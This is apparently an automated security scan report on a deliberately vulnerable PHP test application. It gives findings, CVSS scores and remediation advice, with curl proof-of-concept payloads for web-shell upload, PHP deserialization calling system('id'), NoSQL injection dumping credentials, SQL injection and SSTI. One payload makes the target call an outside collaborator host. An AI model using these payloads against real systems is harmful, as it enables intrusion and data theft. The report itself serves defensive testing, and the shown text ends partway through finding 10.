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Executive Summary
GGSec Cortex identified 42 confirmed and 11 likely vulnerabilities. Every confirmed finding is evidence-
backed (live proof-of-concept or a baseline-difference control), so false positives are minimised. Immediate
remediation is recommended.
Scanned 42 file(s) across 3 batch(es). Multi-file PHP test suite with 17+ distinct vulnerabilities: PHP object
injection with RCE gadget (3 sinks), reflected XSS behind auth, GraphQL introspection leak + SQLi, IDOR
(sequential, UUID, vertical, write, delete), JWT algorithm confusion (none, HS256/RS256, kid traversal),
CORS misconfiguration, web cache deception, host header injection, session fixation, and CSRF. Multi-file
PHP application with 20+ vulnerability classes: JWT none-alg and alg-confusion bypasses, LDAP injection,
reflected XSS behind auth, NoSQL injection (operator/JSON/filter), blind SQL injection, blind XXE
(SOAP/REST-XML/SVG-upload/OOXML-upload), blind SSRF, PHP object injection with OOB gadget, race
conditions (DB-backed and file-backed TOCTOU), SSTI→RCE, file upload→RCE (unrestricted and blacklist-
bypass), session fixation, and WAF-bypass SQLi. Multi-file PHP application with critical vulnerabilities across
all files: XXE (multiple vectors including SOAP, DOM, SVG upload), SQL injection (blind and second-order),
type juggling auth bypass, PHP object injection with OOB gadget, race condition (TOCTOU), path traversal,
open redirect, CRLF injection, XSS (reflected with WAF bypass and second-order), web cache deception,
NoSQL-like operator injection, session fixation, CSRF, and an unauthenticated admin panel.
Security Rating F · HIGH (27 High)
Max CVSS (v3.1) 8,9 (High)
Severity distribution Critical: 0 High: 27 Medium: 72 Low: 0
Compromise probability Very High (~95-100%)
Confirmed findings 42
Likely (needs review) 11
Business impact Full server compromise (remote code execution)
Exploitation complexity Low — reachable by a remote attacker
Likelihood High — confirmed with a live proof-of-concept
Scan SAST 0s · DAST 187s · 840 requests

Assessment Scope
Target tests
Base URL http://172.26.203.184
Endpoints tested 47
Total requests 840
HTTP methods GET, GETx20, POST, POST+GET, POSTx20, SCA
Vulnerability classes 22
Authentication Unauthenticated
OOB collaborator Enabled (blind detection)
Scan duration SAST 0s · DAST 187s
Completed 2026-07-10 21:48

Scan Timeline
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21:45:15 ● Scan started
21:45:15 ○ SAST replay (cached plan)
21:45:15 ○ DAST probing started
21:45:15 ○ GGC-AUTH-BAC confirmed — TYPE_JUGGLE pass
21:45:15 ○ GGC-POI-7D3 confirmed — PHP_OBJECT_INJECTION user
21:45:15 ○ GGC-POI-525 confirmed — PHP_OBJECT_INJECTION serialized
21:45:15 ○ GGC-GQL-DBD confirmed — GRAPHQL_INJECTION query
21:45:15 ○ GGC-GQL-DBD confirmed — GRAPHQL_INJECTION query
21:45:15 ○ GGC-GQL-28C confirmed — GRAPHQL_INJECTION query
21:45:15 ○ GGC-GQL-28C confirmed — GRAPHQL_INJECTION query
21:45:15 ○ GGC-IDOR-CAD confirmed — IDOR id
21:45:15 ○ GGC-IDOR-A0B confirmed — IDOR id
21:45:15 ○ GGC-JWT-965 confirmed — JWT jwt
21:45:15 ○ GGC-JWT-F1B confirmed — JWT jwt
21:45:15 ○ GGC-CSRF-7C8 confirmed — CSRF HTTP_ORIGIN
21:45:15 ○ GGC-VULN-116 confirmed — WEB_CACHE_DECEPTION N/A
21:45:15 ○ GGC-JWT-315 confirmed — JWT jwt
21:45:15 ○ GGC-JWT-260 confirmed — JWT jwt
21:45:15 ○ GGC-VULN-458 confirmed — LDAP_INJECTION user
21:45:15 ○ GGC-NOSQL-AA8 confirmed — NOSQL_INJECTION username
21:45:15 ○ GGC-NOSQL-08B confirmed — NOSQL_INJECTION json
21:45:15 ○ GGC-NOSQL-31C confirmed — NOSQL_INJECTION search
21:45:15 ○ GGC-XSS-D7C confirmed — XSS safe_username
21:46:51 ○ GGC-SSRF-D47 confirmed — SSRF url
21:47:00 ○ GGC-XXE-6BE confirmed — XXE report
21:47:00 ○ GGC-POI-CA5 confirmed — PHP_OBJECT_INJECTION prefs
21:47:03 ○ GGC-RACE-523 confirmed — RACE_CONDITION redeem
21:47:05 ○ GGC-RACE-C4B confirmed — RACE_CONDITION transfer
21:47:05 ○ GGC-XXE-748 confirmed — XXE raw_body
21:47:05 ○ GGC-VULN-320 confirmed — SESSION_FIXATION PHPSESSID
21:47:05 ○ GGC-XXE-9BB confirmed — XXE raw_body
21:47:05 ○ GGC-SSTI-23B confirmed — SSTI name
21:47:05 ○ GGC-XXE-A11 confirmed — XXE avatar
21:47:05 ○ GGC-VULN-8E6 confirmed — FILE_UPLOAD file
21:47:05 ○ GGC-VULN-170 confirmed — FILE_UPLOAD file
21:47:05 ○ GGC-SQLI-62F confirmed — SQL_QUERY id
21:47:54 ○ GGC-CSRF-5A1 confirmed — CSRF update_bio (POST form)
21:48:18 ○ GGC-CSRF-E61 confirmed — CSRF action (redeem via GET)
21:48:18 ○ GGC-XXE-806 confirmed — XXE avatar
21:48:18 ○ GGC-REDIR-134 confirmed — OPEN_REDIRECT redirect
21:48:18 ○ GGC-PATH-45F confirmed — PATH_TRAVERSAL download
21:48:21 ○ GGC-RACE-DB7 confirmed — RACE_CONDITION action
21:48:21 ○ GGC-VULN-DCA confirmed — WEB_CACHE_DECEPTION N/A
21:48:21 ○ GGC-VULN-548 confirmed — PII_EXPOSURE Credit card number
21:48:21 ○ GGC-VULN-D4B confirmed — PII_EXPOSURE JWT token
21:48:22 ○ DAST completed (187s, 840 requests)
21:49:00 ● Report generated
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Risk Matrix
Likelihood \
Impact

Negligible Minor Moderate Major Severe

Almost certain 3 10 9
Likely 7 11 1
Possible 1
Unlikely

Rare

Endpoint Summary
Endpoint Requests Findings Risk
http://172.26.203.184/nosql_test.php 15 NOSQL_INJECTION Critical
sqli500_test.php 7 SQL_QUERY Critical
api_parsing_hell.php 11 SQL_QUERY Critical
waf_test.php 12 SQL_QUERY Critical
oob_test.php 5 SQL_QUERY Critical
ssti_test.php 9 PII_EXPOSURE, SSTI Critical
ggsec_uploads/ggsec_shell.phtml 3 FILE_UPLOAD Critical
jwt_test.php 38 JWT Critical
tests\package-lock.json 3 OUTDATED_COMPONENTCritical

2 OUTDATED_COMPONENTCritical
jwt_kid_test.php 37 JWT, PII_EXPOSURE Critical
deserialize_test.php 2 PHP_OBJECT_INJECTIONCritical
ggsec_uploads/ggsec_shell.php 1 FILE_UPLOAD Critical
jwt_rs256_test.php 36 JWT Critical
jwt_jwks_test.php 36 JWT Critical
http://172.26.203.184/poi_oob_test.php 1 PHP_OBJECT_INJECTIONCritical
http://172.26.203.184/deserialize_test.php 1 PHP_OBJECT_INJECTIONCritical
logic_nightmare.php 25 CSRF, TYPE_JUGGLE Critical
http://172.26.203.184/oob_test.php 3 SSRF High
ldap_test.php 41 LDAP_INJECTION High
race_and_files.php 10 CSRF,

OPEN_REDIRECT,
PATH_TRAVERSAL,
RACE_CONDITION

High

cors_test.php 1 CSRF High
http://172.26.203.184/graphql_test.php 5 GRAPHQL_INJECTION High
idor_uuid_test.php 37 IDOR, PII_EXPOSURE High
http://172.26.203.184/graphql_depth_test.php 2 GRAPHQL_INJECTION High
http://172.26.203.184/restxml_test.php 2 XXE High
tests\composer.lock 2 OUTDATED_COMPONENTHigh
http://172.26.203.184/race_and_files.php 1 XXE High
http://172.26.203.184/svgupload_test.php 1 XXE High
http://172.26.203.184/soap_test.php 1 XXE High
http://172.26.203.184/ooxml_test.php 1 XXE High
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sessionfix_test.php 1 SESSION_FIXATION Medium
idor_test.php 36 IDOR Medium
nosql_test.php 36 XSS Medium
webcache_test.php/ggsec_wcd.css 1 WEB_CACHE_DECEPTIONMedium
cache_test.php/ggsec_wcd.css 1 WEB_CACHE_DECEPTIONMedium
race_test.php 103 RACE_CONDITION Medium
race_singlepacket_test.php 71 RACE_CONDITION Medium
idor_v2_test.php 72 — OK
http://172.26.203.184/api_parsing_hell.php 6 — OK
http://172.26.203.184/xxe_test.php 5 — OK
api_fuzz_test.php 70 — OK
idor_v3_test.php 36 — OK
form_login_test.php 5 — OK
http://172.26.203.184/logic_nightmare.php 1 — OK
members_test.php 6 — OK
hosthdr_test.php 2 — OK
xxe_test.php 37 — OK

Remediation Plan
ID Finding CVSS Priority SLA
GGC-VULN-170 FILE_UPLOAD — file 9,8 P0 Fix

immediately
GGC-VULN-8E6 FILE_UPLOAD — file 9,8 P0 Fix

immediately
GGC-NOSQL-08B NOSQL_INJECTION — json 9,8 P0 Fix

immediately
GGC-NOSQL-31C NOSQL_INJECTION — search 9,8 P0 Fix

immediately
GGC-NOSQL-AA8 NOSQL_INJECTION — username 9,8 P0 Fix

immediately
GGC-POI-CA5 PHP_OBJECT_INJECTION — prefs 9,8 P0 Fix

immediately
GGC-POI-525 PHP_OBJECT_INJECTION —

serialized
9,8 P0 Fix

immediately
GGC-POI-7D3 PHP_OBJECT_INJECTION — user 9,8 P0 Fix

immediately
GGC-SQLI-62F SQL_QUERY — id 9,8 P0 Fix

immediately
GGC-SSTI-23B SSTI — name 9,8 P0 Fix

immediately
GGC-JWT-F1B JWT — jwt 8,8 P1 Within 7 days
GGC-JWT-315 JWT — jwt 8,8 P1 Within 7 days
GGC-JWT-260 JWT — jwt 8,8 P1 Within 7 days
GGC-JWT-965 JWT — jwt 8,8 P1 Within 7 days
GGC-CSRF-7C8 CSRF — HTTP_ORIGIN 8,1 P1 Within 7 days
GGC-CSRF-5A1 CSRF — update_bio (POST form) 8,1 P1 Within 7 days
GGC-AUTH-BAC TYPE_JUGGLE — pass 8,1 P1 Within 7 days
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GGC-SSRF-D47 SSRF — url 7,7 P1 Within 7 days
GGC-GQL-28C GRAPHQL_INJECTION — query 7,5 P1 Within 7 days
GGC-GQL-DBD GRAPHQL_INJECTION — query 7,5 P1 Within 7 days
GGC-PATH-45F PATH_TRAVERSAL — download 7,5 P1 Within 7 days
GGC-VULN-548 PII_EXPOSURE — Credit card number 7,5 P1 Within 7 days
GGC-VULN-D4B PII_EXPOSURE — JWT token 7,5 P1 Within 7 days
GGC-XXE-806 XXE — avatar 7,5 P1 Within 7 days
GGC-XXE-A11 XXE — avatar 7,5 P1 Within 7 days
GGC-XXE-9BB XXE — raw_body 7,5 P1 Within 7 days
GGC-XXE-748 XXE — raw_body 7,5 P1 Within 7 days
GGC-XXE-6BE XXE — report 7,5 P1 Within 7 days
GGC-CSRF-E61 CSRF — action (redeem via GET) 7,3 P1 Within 7 days
GGC-VULN-458 LDAP_INJECTION — user 7,1 P1 Within 7 days
GGC-IDOR-CAD IDOR — id 6,5 P2 Within 30 days
GGC-IDOR-A0B IDOR — id 6,5 P2 Within 30 days
GGC-VULN-320 SESSION_FIXATION — PHPSESSID 6,4 P2 Within 30 days
GGC-REDIR-134 OPEN_REDIRECT — redirect 6,1 P2 Within 30 days
GGC-VULN-DCA WEB_CACHE_DECEPTION — N/A 6,1 P2 Within 30 days
GGC-VULN-116 WEB_CACHE_DECEPTION — N/A 6,1 P2 Within 30 days
GGC-RACE-523 RACE_CONDITION — redeem 5,9 P2 Within 30 days
GGC-RACE-C4B RACE_CONDITION — transfer 5,9 P2 Within 30 days
GGC-XSS-D7C XSS — safe_username 5,4 P2 Within 30 days
GGC-RACE-DB7 RACE_CONDITION — action 5,3 P2 Within 30 days

Findings (53)
[1] GGC-VULN-170 · FILE_UPLOAD — file
CONFIRMED CVSS 9,8 Critical · CWE-434 Unrestricted Upload of File with Dangerous Type · Priority P0 (Fix
immediately)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C

A file upload accepts dangerous types / trusts the client MIME, enabling a web shell and remote code execution.
Compliance: A04:2021 – Insecure Design · PCI-DSS v4.0 Req 6.2.4 (business-logic) · ISO/IEC 27001:2022 A.8.28 / A.8.27 · GDPR Art.
25 + Art. 32 (data protection by design)
MITRE ATT&CK: T1190 Exploit Public-Facing Application · T1059 Command and Scripting Interpreter

Location: /upload_bypass_test.php
Impact: RCE (Direct)
Access: Unauthenticated
Evidence: @ offset 131 — via upload-rce: …hell.phtml to upload_bypass_test.php; GET executed it → 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Flow: The upload handler blocks only filenames ending in .php (case-insensitive preg_match('/\.php$/i')).
However, Apache typically also executes .phtml, .pht, and .php5 extensions. An attacker can bypass the
blacklist by using an alternative PHP-executable extension, achieving RCE.
Evidence strength: High (99/100)

+50 Confirmed (strong signal)
+20 Direct detection (upload-rce)
+15 Damning token in response ("uid=")
+6 Expected indicator reflected
+3 Reproduced by 3 payload(s)
+5 Stable 2xx response

Proof of Concept
Reproduce:
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curl -i -X POST 'ggsec_uploads/ggsec_shell.phtml' --data 'upload:ggsec_shell.phtml'

Evidence (live response):
…l); uploaded ggsec_shell.phtml to upload_bypass_test.php; GET executed it → 200 uid=33(www-data)
gid=33(www-data) groups=33(www-data)

Remediation
Validate uploads by content (not just extension), store them outside the web root, and never execute
them.

• Allowlist by verified MIME/magic bytes AND extension; reject double extensions (shell.php.jpg) and
PHP/.phtml/.htaccess.
• Store uploads OUTSIDE the web root (or in a path with execution disabled: php_admin_flag engine off /
no handler).
• Generate a random server-side filename; never reuse the client-supplied name or path.
• Serve downloads through a script with Content-Disposition: attachment, not by direct URL to the upload
dir.

References: CWE-434 · OWASP: Unrestricted File Upload

[2] GGC-VULN-8E6 · FILE_UPLOAD — file
CONFIRMED CVSS 9,8 Critical · CWE-434 Unrestricted Upload of File with Dangerous Type · Priority P0 (Fix
immediately)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C

A file upload accepts dangerous types / trusts the client MIME, enabling a web shell and remote code execution.
Compliance: A04:2021 – Insecure Design · PCI-DSS v4.0 Req 6.2.4 (business-logic) · ISO/IEC 27001:2022 A.8.28 / A.8.27 · GDPR Art.
25 + Art. 32 (data protection by design)
MITRE ATT&CK: T1190 Exploit Public-Facing Application · T1059 Command and Scripting Interpreter

Location: /upload_rce_test.php
Impact: RCE (Direct)
Access: Unauthenticated
Evidence: @ offset 110 — via upload-rce: …sec_shell.php to upload_rce_test.php; GET executed it → 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Flow: Uploaded files are stored into /var/www/html/ggsec_uploads/ using the client-supplied basename with
zero validation of extension, MIME type, or content. An attacker uploads a .php file containing a webshell,
then accesses it at /ggsec_uploads/<filename> to achieve RCE.
Evidence strength: High (96/100)

+50 Confirmed (strong signal)
+20 Direct detection (upload-rce)
+15 Damning token in response ("uid=")
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'ggsec_uploads/ggsec_shell.php' --data 'upload:ggsec_shell.php'

Evidence (live response):
…direct; uploaded ggsec_shell.php to upload_rce_test.php; GET executed it → 200 uid=33(www-data)
gid=33(www-data) groups=33(www-data)

Remediation
Validate uploads by content (not just extension), store them outside the web root, and never execute
them.

• Allowlist by verified MIME/magic bytes AND extension; reject double extensions (shell.php.jpg) and
PHP/.phtml/.htaccess.
• Store uploads OUTSIDE the web root (or in a path with execution disabled: php_admin_flag engine off /
no handler).
• Generate a random server-side filename; never reuse the client-supplied name or path.
• Serve downloads through a script with Content-Disposition: attachment, not by direct URL to the upload
dir.

References: CWE-434 · OWASP: Unrestricted File Upload
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[3] GGC-NOSQL-08B · NOSQL_INJECTION — json
CONFIRMED CVSS 9,8 Critical · CWE-943 Improper Neutralization of Data in a Query (NoSQL) · Priority P0 (Fix
immediately)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C

Untrusted input alters a NoSQL query (operator injection), bypassing authentication or leaking data.
Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of
processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: /nosql_test.php
Impact: AUTH_BYPASS (Direct)
Access: Unauthenticated
Evidence: @ offset 49 — via nosql-operator-injection:
{"query":{"$or":[{"username":{"$exists":true}}]},"result":{"_id":{"$oid":"6a3668d84fe6c303539df8a3"},"username":"admin"…
Flow: $_GET['json'] is passed through json_decode() and the resulting array is used directly as the
MongoDB filter in findOne($filter). An attacker can supply a JSON string containing MongoDB operators like
{"username":{"$ne":null}} to manipulate the query.
Evidence strength: High (100/100)

+50 Confirmed (strong signal)
+20 Direct detection (nosql-operator-injection)
+15 Damning token in response (""password"")
+6 Expected indicator reflected
+5 Reproduced by 5 payload(s)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i
'http://172.26.203.184/nosql_test.php?json={"%24or"%3A%5B{"username"%3A{"%24exists"%3Atrue}}%5D}'

Evidence (live response):
…true}}]},"result":{"_id":{"$oid":"6a3668d84fe6c303539df8a3"},"username":"admin","password":"admin123","role":"admin"}}

Remediation
Use parameterized queries / prepared statements — never build queries by string concatenation.

• Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named
placeholders).
• For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type
checks).
• Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
• Add allowlist validation for structural elements that cannot be parameterized (column/table names,
ORDER BY).

References: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)

[4] GGC-NOSQL-31C · NOSQL_INJECTION — search
CONFIRMED CVSS 9,8 Critical · CWE-943 Improper Neutralization of Data in a Query (NoSQL) · Priority P0 (Fix
immediately)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C

Untrusted input alters a NoSQL query (operator injection), bypassing authentication or leaking data.
Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of
processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: /nosql_test.php
Impact: AUTH_BYPASS (Direct)
Access: Unauthenticated
Evidence: @ offset 35 — via nosql-operator-injection:
{"query":{"username":{"$ne":null}},"results":[{"_id":{"$oid":"6a3668d84fe6c303539df8a3"},"username":"admin"…
Flow: $_POST['search'] is passed through json_decode() and the resulting array is used directly as the
MongoDB filter in find($filter)->toArray(). An attacker can supply a JSON string containing MongoDB
operators to dump the entire collection or inject arbitrary query logic.
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Evidence strength: High (100/100)
+50 Confirmed (strong signal)
+20 Direct detection (nosql-operator-injection)
+15 Damning token in response (""password"")
+6 Expected indicator reflected
+4 Reproduced by 4 payload(s)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'http://172.26.203.184/nosql_test.php' --data 'JSON:{"username":{"$ne":null}}'

Evidence (live response):
…null}},"results":[{"_id":{"$oid":"6a3668d84fe6c303539df8a3"},"username":"admin","password":"admin123","role":"admin"},{"_id":{"$oid":"6a3668d84fe6c303539df8a4"},"username":"user1","password":"pass123","role":"user"},{"_id":{"$oid":"6a3668d84fe6c303539df8a5"},"username":"user2","p…

Remediation
Use parameterized queries / prepared statements — never build queries by string concatenation.

• Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named
placeholders).
• For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type
checks).
• Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
• Add allowlist validation for structural elements that cannot be parameterized (column/table names,
ORDER BY).

References: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)

[5] GGC-NOSQL-AA8 · NOSQL_INJECTION — username
CONFIRMED CVSS 9,8 Critical · CWE-943 Improper Neutralization of Data in a Query (NoSQL) · Priority P0 (Fix
immediately)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C

Untrusted input alters a NoSQL query (operator injection), bypassing authentication or leaking data.
Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of
processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: /nosql_test.php
Impact: AUTH_BYPASS (Direct)
Access: Unauthenticated
Evidence: @ offset 41 — via nosql-operator-injection:
{"query":{"username":{"$exists":"true"}},"result":{"_id":{"$oid":"6a3668d84fe6c303539df8a3"},"username":"admin"…
Flow: $_GET['username'] is used directly as a value in the MongoDB filter ['username' =>
$_GET['username']] without casting to (string). PHP's query-string parser converts bracket notation
(username[$ne]=x) into an array, which MongoDB interprets as an operator — returning documents where
username is not equal to the provided value.
Evidence strength: High (100/100)

+50 Confirmed (strong signal)
+20 Direct detection (nosql-operator-injection)
+15 Damning token in response (""password"")
+6 Expected indicator reflected
+5 Reproduced by 5 payload(s)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i 'http://172.26.203.184/nosql_test.php?username[$exists]=true'

Evidence (live response):
…"true"}},"result":{"_id":{"$oid":"6a3668d84fe6c303539df8a3"},"username":"admin","password":"admin123","role":"admin"}}

Remediation
Use parameterized queries / prepared statements — never build queries by string concatenation.
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• Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named
placeholders).
• For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type
checks).
• Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
• Add allowlist validation for structural elements that cannot be parameterized (column/table names,
ORDER BY).

References: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)

[6] GGC-POI-CA5 · PHP_OBJECT_INJECTION — prefs
CONFIRMED CVSS 9,8 Critical · CWE-502 Deserialization of Untrusted Data · Priority P0 (Fix immediately)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C

Untrusted serialized data is deserialized, invoking gadget chains that can lead to remote code execution.
Compliance: A08:2021 – Software and Data Integrity Failures · PCI-DSS v4.0 Req 6.2.4 / 6.4.3 · ISO/IEC 27001:2022 A.8.28 / A.8.29 ·
GDPR Art. 32 (security of processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application · T1059 Command and Scripting Interpreter

Location: /poi_oob_test.php
Impact: RCE (Direct)
Access: Unauthenticated
Flow: $_COOKIE['prefs'] is passed directly to unserialize(). The Fetcher gadget class in the same file has a
__destruct() method that calls file_get_contents($this->url). The fetched result is discarded — no in-band
signal. An attacker sets the prefs cookie to a serialized Fetcher object with url pointing to {OOB_HTTP}. On
garbage collection, __destruct() fires and the server makes an outbound request to the attacker's server,
confirmed only via OOB callback.
Evidence strength: Medium (83/100)

+50 Confirmed (strong signal)
+28 Out-of-band callback received
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'http://172.26.203.184/poi_oob_test.php' --data
'O:7:"Fetcher":1:{s:3:"url";s:37:"http://172.26.192.1:8888/443d0e0fd226";}'

Evidence (live response):
OOB HTTP callback received by the GGSec collaborator — the target issued an outbound request to
http://172.26.192.1:8888/443d0e0fd226, proving blind (out-of-band) injection. The in-band HTTP
response body is not the proof for this finding.

Remediation
Do not unserialize untrusted data; use a safe format and restrict allowed classes.

• Replace unserialize() on tainted input with json_decode() (data-only).
• If PHP serialization is required, pass allowed_classes=false or an explicit allowlist.
• Add integrity protection (HMAC) to any serialized blob that must round-trip via the client.

References: CWE-502 · OWASP: Deserialization Cheat Sheet

[7] GGC-POI-525 · PHP_OBJECT_INJECTION — serialized
CONFIRMED CVSS 9,8 Critical · CWE-502 Deserialization of Untrusted Data · Priority P0 (Fix immediately)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C

Untrusted serialized data is deserialized, invoking gadget chains that can lead to remote code execution.
Compliance: A08:2021 – Software and Data Integrity Failures · PCI-DSS v4.0 Req 6.2.4 / 6.4.3 · ISO/IEC 27001:2022 A.8.28 / A.8.29 ·
GDPR Art. 32 (security of processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application · T1059 Command and Scripting Interpreter

Location: /deserialize_test.php
Impact: RCE (Direct)
Access: Unauthenticated
Evidence: @ offset 42 — via indicator: Deserialized from POST Destructor called! uid=33(www-data)
gid=33(www-data) groups=33(www-data)
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Flow: POST parameter 'serialized' is passed directly to unserialize(). The Vulnerable class __destruct() calls
call_user_func($this->callback, $this->param) — setting callback='system' and param='id' yields RCE.
Evidence strength: High (96/100)

+50 Confirmed (strong signal)
+20 Direct detection (indicator)
+15 Damning token in response ("uid=")
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'deserialize_test.php' --data
'O:10:"Vulnerable":2:{s:8:"callback";s:6:"system";s:5:"param";s:2:"id";}'

Evidence (live response):
Deserialized from POST Destructor called! uid=33(www-data) gid=33(www-data) groups=33(www-data)

Remediation
Do not unserialize untrusted data; use a safe format and restrict allowed classes.

• Replace unserialize() on tainted input with json_decode() (data-only).
• If PHP serialization is required, pass allowed_classes=false or an explicit allowlist.
• Add integrity protection (HMAC) to any serialized blob that must round-trip via the client.

References: CWE-502 · OWASP: Deserialization Cheat Sheet

[8] GGC-POI-7D3 · PHP_OBJECT_INJECTION — user
CONFIRMED CVSS 9,8 Critical · CWE-502 Deserialization of Untrusted Data · Priority P0 (Fix immediately)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C

Untrusted serialized data is deserialized, invoking gadget chains that can lead to remote code execution.
Compliance: A08:2021 – Software and Data Integrity Failures · PCI-DSS v4.0 Req 6.2.4 / 6.4.3 · ISO/IEC 27001:2022 A.8.28 / A.8.29 ·
GDPR Art. 32 (security of processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application · T1059 Command and Scripting Interpreter

Location: /deserialize_test.php
Impact: RCE (Direct)
Access: Unauthenticated
Evidence: @ offset 44 — via indicator: Deserialized from Cookie Destructor called! uid=33(www-data)
gid=33(www-data) groups=33(www-data)
Flow: $_COOKIE['user'] is passed directly to unserialize(). The Vulnerable class __destruct() calls
call_user_func($this->callback, $this->param) — setting callback='system' and param='id' yields RCE.
Source is $_COOKIE['user'].
Evidence strength: High (96/100)

+50 Confirmed (strong signal)
+20 Direct detection (indicator)
+15 Damning token in response ("uid=")
+6 Expected indicator reflected
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i -X POST 'http://172.26.203.184/deserialize_test.php' --data
'O:10:"Vulnerable":2:{s:8:"callback";s:6:"system";s:5:"param";s:2:"id";}'

Evidence (live response):
Deserialized from Cookie Destructor called! uid=33(www-data) gid=33(www-data) groups=33(www-data)

Remediation
Do not unserialize untrusted data; use a safe format and restrict allowed classes.

• Replace unserialize() on tainted input with json_decode() (data-only).
• If PHP serialization is required, pass allowed_classes=false or an explicit allowlist.
• Add integrity protection (HMAC) to any serialized blob that must round-trip via the client.

References: CWE-502 · OWASP: Deserialization Cheat Sheet
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[9] GGC-SQLI-62F · SQL_QUERY — id
CONFIRMED CVSS 9,8 Critical · CWE-89 SQL Injection · Priority P0 (Fix immediately)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C

SQL is built from untrusted input, letting an attacker alter the query to read/modify data or bypass authentication.
Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of
processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application

Location: /waf_test.php
Impact: AUTH_BYPASS (Direct)
Access: Unauthenticated
Evidence: @ offset 37 — via sql-error-body: SQL error: You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server ver…
Flow: $_GET['id'] is concatenated into a numeric-context SQL query "SELECT id, username FROM users
WHERE id = $id". A naive case-sensitive WAF blocklist blocks literal strings like 'UNION SELECT', 'OR 1=1',
'SLEEP(' etc. But the check is case-sensitive and doesn't handle inline comments, tabs, or mixed case — so
'UnIoN SeLeCt', 'UNION/**/SELECT', tabs, and double-URL-encoded variants bypass the WAF. On injection,
the mysqli exception handler echoes the raw SQL error (error-based SQLi).
Evidence strength: High (95/100)

+50 Confirmed (strong signal)
+20 Direct detection (sql-error-body)
+15 Damning token in response ("SQL syntax")
+5 Reproduced by 5 payload(s)
+5 Stable 2xx response

Proof of Concept
Reproduce:
curl -i 'waf_test.php?id=1%27'

Evidence (live response):
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near ''' at line 1

Remediation
Use parameterized queries / prepared statements — never build queries by string concatenation.

• Replace interpolated SQL with bound parameters (PDO/mysqli prepared statements, '?'/named
placeholders).
• For NoSQL, cast user input to the expected scalar type and reject array/operator inputs ((string)$x, type
checks).
• Apply least-privilege DB credentials; the web user should not own DDL or admin rights.
• Add allowlist validation for structural elements that cannot be parameterized (column/table names,
ORDER BY).

References: CWE-89 · OWASP: SQL Injection Prevention Cheat Sheet · CWE-943 (NoSQL)

[10] GGC-SSTI-23B · SSTI — name
CONFIRMED CVSS 9,8 Critical · CWE-1336 Server-Side Template Injection · Priority P0 (Fix immediately)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C

Untrusted input reaches a server-side template engine, executing template expressions and often OS commands.
Compliance: A03:2021 – Injection · PCI-DSS v4.0 Req 6.2.4 (injection/XSS) · ISO/IEC 27001:2022 A.8.28 · GDPR Art. 32 (security of
processing)
MITRE ATT&CK: T1190 Exploit Public-Facing Application · T1059 Command and Scripting Interpreter

Location: /ssti_test.php
Impact: RCE (Direct)
Access: Unauthenticated
Evidence: @ offset 0 — via indicator: uid=33(www-data) gid=33(www-data) groups=33(www-data)
<h1>Hello,…
Flow: $_GET['name'] is interpolated directly INTO the template string "<h1>Hello, $name!</h1>". A
preg_replace_callback then evaluates any {{expr}} block via eval('return ' . $m[1] . ';'). User input becomes
part of the template source — classic SSTI. Injecting {{7*7}} produces 49 in the output; {{system('id')}}
executes OS commands via eval().
